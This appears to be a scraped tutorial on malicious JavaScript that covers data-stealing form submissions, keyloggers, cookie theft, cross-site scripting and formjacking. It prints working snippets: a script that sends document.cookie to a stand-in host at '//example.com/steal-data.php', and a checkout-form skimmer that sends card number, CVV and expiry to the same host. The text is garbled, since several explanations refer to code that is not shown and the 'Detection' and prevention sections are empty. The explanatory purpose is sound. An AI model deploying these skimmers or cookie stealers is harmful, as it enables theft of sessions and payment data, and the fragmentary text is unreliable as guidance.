visit
The JavaScript language is widely used to develop various web applications. File handling using JavaScript plays a crucial role in enhancing the user experience. Still, attackers sometimes use malicious JavaScript code to utilize users' computer resources for illegal activities like stealing sensitive data, gaining illegal access to web applications, crypto-jacking, cross-site scripting, and stealing cookies.
Explanation: This JavaScript code is malicious as it passes sensitive user data like name, password, and email to an external malicious server that an attacker operates.
Here, the method getElementById()
is used to retrieve the value of form fields. The open()
method assists in establishing a connection to the malicious example server and setRequestHeader()
is used to set the request headers with Content-Type
header. Eventually, the method send()
sends sensitive data to the malicious server.
Detection:
Prefer the following practices:
Explanation: This JavaScript code is used to log every key that a user presses on their keyboard (as input) and sends it to an external server that the attackers operate. For instance, if the server at //example.com/log-keystrokes.php is controlled by an attacker, it could be used to steal user credentials or other sensitive data.
It captures all keystrokes made by the user then creates a new XMLHttpRequest
object and sends the keystroke data to the malicious server at 'send()
. This keylogger attack is used to steal sensitive data such as login details, financial data, etc. by using users’ keystrokes.
Detection:
Explanation: This code retrieves the user’s browser cookies and then passes them to an external malicious server (operated by an attacker). Here we have taken a sample site //example.com/steal-cookies.php at which a malicious server is located and suppose it is controlled by an attacker. It could be used to retrieve a user’s session to gain unauthorized access.
Here is the method document.cookie
in which the code is used to retrieve the user's cookies. Then the code generates a new XMLHttpRequest
object and sends the cookie data to the malicious server at '//example.com/steal-cookies.php' using the send()
method.
Detection:
<script>
var query = window.location.search;
var message = "Your search query: " + decodeURIComponent(query.substr(1));
document.getElementById("search-results").innerHTML = message;
</script>
<script>
var xhr = new XMLHttpRequest();
xhr.open('POST', '//example.com/steal-data.php', true);
xhr.setRequestHeader('Content-Type', 'application/x-www-form-urlencoded; charset=UTF-8');
xhr.send('cookie=' + encodeURIComponent(document.cookie));
</script>
<script>
var name = window.location.hash.slice(1);
document.getElementById('welcome').innerHTML = 'Welcome, ' + name + '!';
</script>
Here, the attacker injects a “script” tag that reads the user's name from the URL hash and inserts it into the website's welcome or any sort of message. However, if the user's name contains malicious code, then it could be executed by the website in the browser.
Here's an example of a form jacking attack code:
document.getElementById("checkout-form").addEventListener("submit", function(event) {
var ccNumber = document.getElementById("credit-card-number").value;
var ccCvv = document.getElementById("credit-card-cvv").value;
var ccExp = document.getElementById("credit-card-exp").value;
var xhr = new XMLHttpRequest();
xhr.open("POST", "//example.com/steal-data.php", true);
xhr.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
xhr.send("cc-number=" + encodeURIComponent(ccNumber) + "&cc-cvv=" + encodeURIComponent(ccCvv) + "&cc-exp=" + encodeURIComponent(ccExp));
event.preventDefault();
});
Here the code first listens for the submit event on the form and then captures the credit card details (such as number, CVV, and expiration date) that the user entered into the checkout form fields. It then sends this information via an XMLHttpRequest
to a malicious remote server.
There are some techniques that you can use to stop malicious JavaScript codes: